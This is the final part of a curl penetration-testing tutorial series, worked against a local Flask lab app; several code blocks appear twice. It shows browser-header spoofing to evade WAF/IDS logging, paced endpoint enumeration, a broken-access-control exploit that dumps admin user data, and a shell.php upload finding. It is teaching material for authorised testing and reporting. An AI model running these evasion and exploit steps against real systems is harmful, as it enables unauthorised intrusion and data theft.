No curl/x.x.x anywhere β the outgoing request now looks like stock Firefox. (This function only lives in your current shell β add it to ~/.zshrc or ~/.bashrc if you want scurl available every time you open a terminal, not just this session.) Without -A, curl announces itself by name in every request, which is a dead giveaway in WAF/IDS logs; the Accept and Accept-Language headers round out the disguise, since a bare curl request is often missing headers a real browser always sends β and that absence is itself a fingerprint some defenses flag on.
Rate-limited automation with the stealth profile:
cat << EOF > wordlist.txt
/
/api/v1/login
/api/v1/users/me
/api/admin
/profile
/upload
/apispec_1.json
/nonexistent
EOF
while read p; do
scurl -sk -o /dev/null -w "%{http_code} $p\n" "http://flask-app.lab:8015$p"
sleep 1
done < wordlist.txt
200 /
405 /api/v1/login
401 /api/v1/users/me
401 /api/admin
401 /profile
405 /upload
200 /apispec_1.json
404 /nonexistentcat << EOF > wordlist.txt
/
/api/v1/login
/api/v1/users/me
/api/admin
/profile
/upload
/apispec_1.json
/nonexistent
EOF
while read p; do
scurl -sk -o /dev/null -w "%{http_code} $p\n" "http://flask-app.lab:8015$p"
sleep 1
done < wordlist.txt
200 /
405 /api/v1/login
401 /api/v1/users/me
401 /api/admin
401 /profile
405 /upload
200 /apispec_1.json
404 /nonexistentMatches the earlier manual sweep exactly β good consistency check β but this time at a human-ish pace (one request per second) wearing a browser User-Agent instead of blasting eight bare-curl requests in a fraction of a second.
Worth being honest about what this phase actually proves: our lab has no WAF or rate-limiter, so nothing was "bypassed" here. The value is habit β blending in by default, and pacing requests, instead of hammering a real target bare-curl-style where logging and alerting exist. scurl as a reusable function beats retyping flags every time: fewer mistakes, a consistent fingerprint across the whole session.
Phase 5 β Documentation
--write-out as a report seed:
curl -sk \
-H "Authorization: Bearer $USER_TOKEN" \
-w "\n---\nTimestamp: $(date)\nStatus: %{http_code}\nSize: %{size_download} bytes\nTime: %{time_total}s\nIP: %{remote_ip}\n---\n" \
http://flask-app.lab:8015/api/admin \
-o admin_response.txt
cat admin_response.txt
---
Timestamp: Sun Nov 15 03:00:00 AM EST 2026
Status: 200
Size: 289 bytes
Time: 0.008424s
IP: 127.0.0.1
---
{"all_users":[{"email":"attacker@evil.com","id":1,"username":"admin"},{"email":"j.doe@flask-app.lab","id":2,"username":"j.doe"},{"email":"m.smith@flask-app.lab","id":3,"username":"m.smith"},{"email":"a.khan@flask-app.lab","id":4,"username":"a.khan"}],"secret":"internal admin panel data"}curl -sk \
-H "Authorization: Bearer $USER_TOKEN" \
-w "\n---\nTimestamp: $(date)\nStatus: %{http_code}\nSize: %{size_download} bytes\nTime: %{time_total}s\nIP: %{remote_ip}\n---\n" \
http://flask-app.lab:8015/api/admin \
-o admin_response.txt
cat admin_response.txt
---
Timestamp: Sun Nov 15 03:00:00 AM EST 2026
Status: 200
Size: 289 bytes
Time: 0.008424s
IP: 127.0.0.1
---
{"all_users":[{"email":"attacker@evil.com","id":1,"username":"admin"},{"email":"j.doe@flask-app.lab","id":2,"username":"j.doe"},{"email":"m.smith@flask-app.lab","id":3,"username":"m.smith"},{"email":"a.khan@flask-app.lab","id":4,"username":"a.khan"}],"secret":"internal admin panel data"}Note the deliberate separation: -o admin_response.txt captures the response body, while -w sends the forensic metadata to stdout. That split matters for reporting β the body often goes in an appendix, while the metadata (timestamp, status, size, target IP) belongs in the findings table itself. This single command captures the broken-access-control exploit from Attack 4, fully timestamped, in one shot.
Markdown finding template from curl output:
Copy this structure into your notes and fill it in as you work:
Finding: Broken Access Control β Admin Endpoint
Endpoint: GET /api/admin
Expected: 403 Forbidden for non-admin users
Actual: 200 OK
Request:
curl -sk -H "Authorization: Bearer <j.doe_user_token>" http://flask-app.lab:8015/api/admincurl -sk -H "Authorization: Bearer <j.doe_user_token>" http://flask-app.lab:8015/api/adminResponse:
{"all_users":[{"email":"attacker@evil.com","id":1,"username":"admin"},{"email":"j.doe@flask-app.lab","id":2,"username":"j.doe"},{"email":"m.smith@flask-app.lab","id":3,"username":"m.smith"},{"email":"a.khan@flask-app.lab","id":4,"username":"a.khan"}],"secret":"internal admin panel data"}{"all_users":[{"email":"attacker@evil.com","id":1,"username":"admin"},{"email":"j.doe@flask-app.lab","id":2,"username":"j.doe"},{"email":"m.smith@flask-app.lab","id":3,"username":"m.smith"},{"email":"a.khan@flask-app.lab","id":4,"username":"a.khan"}],"secret":"internal admin panel data"}Evidence: Status 200 with full admin data returned using a standard role: user JWT token (confirmed via decoded claims: {"username":"j.doe","role":"user","id":2})
Impact: Any authenticated user can access administrative functions and view all user account data, including email addresses, regardless of their assigned role
Recommendation: Implement server-side role-based access control; verify the role claim in the JWT equals admin before serving /api/admin, rather than only checking that a valid token was presented
Building a JSON report from session output:
The obvious move is a heredoc with command substitution β but watch what happens when you try it:
cat << EOF > findings.json
{
"target": "flask-app.lab:8015",
"date": "$(date -I)",
"findings": [
{
"title": "Broken Access Control - Admin Endpoint",
"endpoint": "/api/admin",
"severity": "High",
"evidence": "$(curl -sk -H "Authorization: Bearer $USER_TOKEN" http://flask-app.lab:8015/api/admin | python3 -c 'import sys; print(sys.stdin.read()[:200])')"
}
]
}
EOF
python3 -m json.tool findings.json
Expecting ',' delimiter: line 9 column 22 (char 218)cat << EOF > findings.json
{
"target": "flask-app.lab:8015",
"date": "$(date -I)",
"findings": [
{
"title": "Broken Access Control - Admin Endpoint",
"endpoint": "/api/admin",
"severity": "High",
"evidence": "$(curl -sk -H "Authorization: Bearer $USER_TOKEN" http://flask-app.lab:8015/api/admin | python3 -c 'import sys; print(sys.stdin.read()[:200])')"
}
]
}
EOF
python3 -m json.tool findings.json
Expecting ',' delimiter: line 9 column 22 (char 218)
This breaks, and it's worth understanding exactly why rather than just fixing it blind. The evidence field embeds raw curl output β which is already JSON, full of its own " characters β directly inside another JSON string. Bash's command substitution does zero escaping: those inner quotes land in the file literally, and the outer JSON parser sees the first unescaped " and thinks the string ended far too early. Classic "JSON inside JSON needs escaping" trap, and heredocs don't help you here.
The fix: don't hand-roll JSON when a field might contain special characters β build it with jq instead, using --arg to pass values in as safely-escaped strings:
EVIDENCE=$(curl -sk -H "Authorization: Bearer $USER_TOKEN" http://flask-app.lab:8015/api/admin | head -c 200)
# date -I prints an ISO 8601 date (YYYY-MM-DD)
jq -n \
--arg target "flask-app.lab:8015" \
--arg date "$(date -I)" \
--arg ev1 "$EVIDENCE" \
'{
target: $target,
date: $date,
findings: [
{title: "Broken Access Control - Admin Endpoint", endpoint: "/api/admin", severity: "High", evidence: $ev1},
{title: "IDOR on User Records", endpoint: "/api/v1/users/{id}", severity: "High", evidence: "Enumerated all 4 user accounts using a single non-admin token by incrementing the id parameter"},
{title: "File Upload Content-Type Bypass", endpoint: "/upload", severity: "Critical", evidence: "shell.php uploaded successfully by spoofing Content-Type to image/jpeg"},
{title: "Exposed API Documentation", endpoint: "/apispec_1.json", severity: "Medium", evidence: "Full API schema accessible without authentication, including internal developer comments"}
]
}' > findings.json
cat findings.json
{
"target": "flask-app.lab:8015",
"date": "2026-11-15",
"findings": [
{
"title": "Broken Access Control - Admin Endpoint",
"endpoint": "/api/admin",
"severity": "High",
"evidence": "{\"all_users\":[{\"email\":\"attacker@evil.com\",\"id\":1,\"username\":\"admin\"},{\"email\":\"j.doe@flask-app.lab\",\"id\":2,\"username\":\"j.doe\"},{\"email\":\""
},
{
"title": "IDOR on User Records",
"endpoint": "/api/v1/users/{id}",
"severity": "High",
"evidence": "Enumerated all 4 user accounts using a single non-admin token by incrementing the id parameter"
},
{
"title": "File Upload Content-Type Bypass",
"endpoint": "/upload",
"severity": "Critical",
"evidence": "shell.php uploaded successfully by spoofing Content-Type to image/jpeg"
},
{
"title": "Exposed API Documentation",
"endpoint": "/apispec_1.json",
"severity": "Medium",
"evidence": "Full API schema accessible without authentication, including internal developer comments"
}
]
}EVIDENCE=$(curl -sk -H "Authorization: Bearer $USER_TOKEN" http://flask-app.lab:8015/api/admin | head -c 200)
# date -I prints an ISO 8601 date (YYYY-MM-DD)
jq -n \
--arg target "flask-app.lab:8015" \
--arg date "$(date -I)" \
--arg ev1 "$EVIDENCE" \
'{
target: $target,
date: $date,
findings: [
{title: "Broken Access Control - Admin Endpoint", endpoint: "/api/admin", severity: "High", evidence: $ev1},
{title: "IDOR on User Records", endpoint: "/api/v1/users/{id}", severity: "High", evidence: "Enumerated all 4 user accounts using a single non-admin token by incrementing the id parameter"},
{title: "File Upload Content-Type Bypass", endpoint: "/upload", severity: "Critical", evidence: "shell.php uploaded successfully by spoofing Content-Type to image/jpeg"},
{title: "Exposed API Documentation", endpoint: "/apispec_1.json", severity: "Medium", evidence: "Full API schema accessible without authentication, including internal developer comments"}
]
}' > findings.json
cat findings.json
{
"target": "flask-app.lab:8015",
"date": "2026-11-15",
"findings": [
{
"title": "Broken Access Control - Admin Endpoint",
"endpoint": "/api/admin",
"severity": "High",
"evidence": "{\"all_users\":[{\"email\":\"attacker@evil.com\",\"id\":1,\"username\":\"admin\"},{\"email\":\"j.doe@flask-app.lab\",\"id\":2,\"username\":\"j.doe\"},{\"email\":\""
},
{
"title": "IDOR on User Records",
"endpoint": "/api/v1/users/{id}",
"severity": "High",
"evidence": "Enumerated all 4 user accounts using a single non-admin token by incrementing the id parameter"
},
{
"title": "File Upload Content-Type Bypass",
"endpoint": "/upload",
"severity": "Critical",
"evidence": "shell.php uploaded successfully by spoofing Content-Type to image/jpeg"
},
{
"title": "Exposed API Documentation",
"endpoint": "/apispec_1.json",
"severity": "Medium",
"evidence": "Full API schema accessible without authentication, including internal developer comments"
}
]
}
Valid JSON, and notice the " escaping jq generated automatically inside the evidence string. The lesson: jq -n --arg beats a hand-rolled heredoc every time a value might contain quotes, newlines, or anything else JSON-special β which, in a security-report pipeline full of raw HTTP responses, is most of the time.
Part 2 β Tool Selection Matrix
Tool Wins when Loses when curl Scripting, pipelines, LOTL, low footprint, custom headers, precise control GUI needed, large multi-step state management wget Recursive download, mirroring whole sites Anything beyond downloading HTTPie Human-readable output for quick checks and demos Pipelines, automation, scripting Postman GUI-driven API exploration, sharing collections with a team Engagement scripting, LOTL, low-footprint requirements Python requests Complex logic, stateful workflows, custom parsing, error handling Quick one-liners, environments with no Python interpreter
Part 3 β What This Series Built
Sixteen articles. Five blocks. The skills stack:
- curl is libcurl β a protocol engine, not a download tool
- Every flag has a purpose; every combination has an effect
- URLs have structure; payloads break when you ignore it
- Responses are intelligence β status codes, headers, timing, body all tell you something
- Authentication is a scheme β read the challenge, pick the right flag
- Sessions persist through cookie jars; CSRF tokens are extractable
- Headers are inputs β they can be manipulated for bypass and recon
- Burp and curl are complementary; learn to move between them
- Version strings lead to CVEs through a structured pipeline
- File operations cover three directions: in, across, and out
- WAF evasion is about signal reduction, not magic bypasses
- TLS handshakes contain recon data β read them
- Bash and jq turn one-liners into pipelines
- Pivots extend access; curl's native SOCKS5 is the tool
The value of this series is not any individual technique. It is the mindset: every HTTP interaction is an input/output system, and curl gives you precise control over every part of the input.
This is the end of the series. The lab from this article is open source if you want to run every attack yourself: github.com/roshanrajbanshi/curl-article15-lab. The natural next step beyond that is TryHackMe's "Web Fundamentals" path every technique from this series applies directly.